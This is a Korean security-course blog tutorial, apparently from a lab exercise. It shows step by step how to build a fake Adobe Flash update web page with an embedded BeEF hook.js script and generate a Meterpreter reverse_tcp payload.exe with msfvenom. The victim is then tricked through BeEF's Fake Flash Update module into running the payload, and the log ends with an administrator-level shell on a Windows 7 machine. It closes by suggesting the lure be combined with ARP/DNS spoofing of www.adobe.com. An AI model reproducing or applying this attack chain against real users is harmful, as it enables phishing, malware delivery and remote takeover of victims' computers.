정보보안(구버전)/Metasploit 2016. 6. 8. 16:17

Metasploit - 19. BeEF & MSF (Fake Web 사이트 구성)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

 

 

[실습 시스템] Kali Linux, Firewall, Window7

 

 

 - 'BeEF' 툴과 Metasploit을 이용하여 Fake Web 사이트를 구성한다.

 

 

 

[실습 단계]

 

웹-페이지 생성 -> BeEF & Mestsploit 연동 및 플러그인 -> Fake Flash Update 악성 코드 생성 -> 유입 -> 제어권 획득

 

 

 

Ex1) 이미지 다운로드

 

 - Kali Linux에서 파이어폭스를 이용하여 구글을 접속한다.

 - 그런 다음 'adobe' 이미지를 검색하여 다음과 같은 이미지를 '/var/www/html' 디렉토리에 'adobe.jpeg'로 저장한다.

 

@ Kali Linux

 

(터미널1)

root@kali:~# firefox www.google.com &
[1] 4499

 

 

 

 

 

 

Ex2) Fake Web 사이트 구성 및 아파치 재시작

 

 - Fake Web 사이트를 구성한다.

 

@ Kali Linux

 

(터미널1)

root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
adobe.jpeg  index.html

root@kali:/var/www/html# vi index.html

 

<DOCTYPE html>
<html>
<head>
<title>Adobe Flash</title>
<script src="http://192.168.20.50:3000/hook.js"></script>
</head>
<body><center>
<img src="adobe.jpeg" alt="adobe" width="204" length="204">
<p>
<input type="button" name="btnDownload" value="Update" onclick="window.open('payload.exe','download') return false;"/>
</p>
</body>
</html>

 

: wq!

 

 

root@kali:/var/www/html# service apache2 restart

 

 

 

 

Ex3) 공격 코드(악성 코드) 생성

 

 - 접속할 클라이언트에게 유포할 Payload(Reverse TCP)를 생성한다.

 

@ Kali Linux

 

(터미널1)

root@kali:/var/www/html# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.50 LPORT=4444 -f exe -o payload.exe


No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Saved as: payload.exe


root@kali:/var/www/html# ls
adobe.jpeg  index.html  payload.exe


root@kali:/var/www/html# file *
adobe.jpeg:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 232x217, frames 3
index.html:  HTML document, ASCII text
payload.exe: PE32 executable (GUI) Intel 80386, for MS Windows

 

 

root@kali:/var/www/html# cd

root@kali:~#

 

 

root@kali:~# cd /usr/share/beef-xss/modules/social_engineering/fake_flash_update/img
root@kali:/usr/share/beef-xss/modules/social_engineering/fake_flash_update/img#
root@kali:/usr/share/beef-xss/modules/social_engineering/fake_flash_update/img# ls
eng.png  ita.png


root@kali:/usr/share/beef-xss/modules/social_engineering/fake_flash_update/img# cp eng.png /var/www/html
root@kali:/usr/share/beef-xss/modules/social_engineering/fake_flash_update/img#
root@kali:/usr/share/beef-xss/modules/social_engineering/fake_flash_update/img# cd

root@kali:~# ls /var/www/html
adobe.jpeg  eng.png  index.html  payload.exe
root@kali:~#

 

 

Ex4) msfconsole 실행

 

 - msgrpc 플러그인 실시

 

@ Kali Linux

 

(터미널1)

root@kali:/var/www/html# msfconsole -q
msf >
msf > load msgrpc Pass=abc123
[*] MSGRPC Service:  127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: abc123
[*] Successfully loaded plugin: msgrpc

 

 

 - BeEF 실행

 

@ Kali Linux

 

(터미널2)

root@kali:~# cd /usr/share/beef-xss/
root@kali:/usr/share/beef-xss# ./beef -x
[17:01:04][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[17:01:04][*] Browser Exploitation Framework (BeEF) 0.4.6.1-alpha
[17:01:04]    |   Twit: @beefproject
[17:01:04]    |   Site: http://beefproject.com
[17:01:04]    |   Blog: http://blog.beefproject.com
[17:01:04]    |_  Wiki: https://github.com/beefproject/beef/wiki
[17:01:04][*] Project Creator: Wade Alcorn (@WadeAlcorn)
[17:01:05][*] Successful connection with Metasploit.
[17:01:08][*] Loaded 292 Metasploit exploits.
[17:01:08][*] Resetting the database for BeEF.
[17:01:08][*] BeEF is loading. Wait a few seconds...
[17:01:17][*] 13 extensions enabled.
[17:01:17][*] 532 modules enabled.
[17:01:17][*] 3 network interfaces were detected.
[17:01:17][+] running on network interface: 127.0.0.1
[17:01:17]    |   Hook URL: http://127.0.0.1:3000/hook.js
[17:01:17]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[17:01:17][+] running on network interface: 192.168.1.50
[17:01:17]    |   Hook URL: http://192.168.1.50:3000/hook.js
[17:01:17]    |_  UI URL:   http://192.168.1.50:3000/ui/panel
[17:01:17][+] running on network interface: 192.168.20.50
[17:01:17]    |   Hook URL: http://192.168.20.50:3000/hook.js
[17:01:17]    |_  UI URL:   http://192.168.20.50:3000/ui/panel
[17:01:17][*] RESTful API key: 8380380a3d0f59b4b3710411f7bc956f8029950f
[17:01:17][*] HTTP Proxy: http://127.0.0.1:6789
[17:01:17][*] DNS Server: 127.0.0.1:5300 (udp)
[17:01:17]    |   Upstream Server: 8.8.8.8:53 (udp)
[17:01:17]    |_  Upstream Server: 8.8.8.8:53 (tcp)
[17:01:17][*] BeEF server started (press control+c to stop)

 

 

 

 

Ex5) msf exploit 공격 설정 실시

 

@ Kali Linux

 

(터미널1)

msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

 


msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp


msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

 

 

msf exploit(handler) > set LHOST 192.168.20.50
LHOST => 192.168.20.50

msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.20.50:4444
[*] Starting the payload handler...

 

 

 

 

Ex6) BeEF 웹-접속

 

 - BeEF가 이미 실행되었으니, 파이어폭스를 이용하여 BeEF 웹-페이지를 접속한다. (beef/beef)

 

@ Kali Linux


(터미널3)
root@kali:~# firefox http://127.0.0.1:3000/ui/panel &
[1] 6180


 

 

 

Ex7) Window7에서 'http://192.168.20.50' 접속 실시

 

 - Window7에서 크롬 브라우저를 이용하여 'http://192.168.20.50'으로 접속을 실시한다.

 

@ Window7

 

Fake Web 사이트 접속 결과

 

 

 

 

 

 

Ex8) BeEF 웹-페이지 후킹 결과 확인

 

 - BeEF에 Window7이 후킹되었는지 확인한다.

 

@ Kali Linux

 

 

 

 

 


Ex9) Fake Flash Update 구성

 

 - BeEF 웹-페이지에서 다음과 같은 순번대로 작업을 진행하여 Fake Flash Update를 구성한다.

 

@ Kali Linux

 

Image : http://192.168.20.50:3000/adobe/flash_update.png
Payload : Custom_Payload
Custom Payload URL : http://192.168.20.50/payload.exe 

 

 

'192.168.20.202' 클릭 -> Commands -> Social Engineering -> Fake Flash Update -> 정보 추가 -> Execute 클릭

 

 

 

 

Ex10) Window7 Flash Update 버튼 클릭

 

 - Update 버튼을 클릭하기 이전에 'Install' 창이 실행된다. 'Install' 버튼을 클릭하여 'payload.exe'를 다운로드한다.

 

@ Window7

 

'Install' 버튼 클릭 -> 'payload.exe' 다운로드 실시

 

 

 

 - 'payload.exe' 다운로드가 완료되었다면, 실행한다.

 

 

'payload.exe' 파일 실행

 

 

 

 

 

Ex11) Kali Linux에서 제어권 획득 확인

 

 -  Kali Linux가 Window7 쉘을 획득했는지 확인한다.

 

@ Kali Linux

 

(터미널1)
[*] Sending stage (957487 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:50561) at 2016-06-08 17:09:36 +0900

 

meterpreter > sysinfo
Computer        : WIN7
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter >
meterpreter > getuid
Server username: WIN7\administrator
meterpreter >

meterpreter > exit
[*] Shutting down Meterpreter...

 

[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) >
msf exploit(handler) > exit
root@kali:/var/www/html#
root@kali:/var/www/html# cd
root@kali:~#

 

 

(터미널2)

(ctrl+c)
root@kali:~#

 

 

 

 - BeEF 웹 종료 실시
 

 

 

 

Ex12) ARP/DNS 스푸핑을 이용하여 방금한 실습을 진행한다. (Fake Web 사이트 : www.adobe.com)

 

참고 : http://net123.tistory.com/298

 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)


Metasploit - 제1장 메타스플로잇 (metaspliot)   

 

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q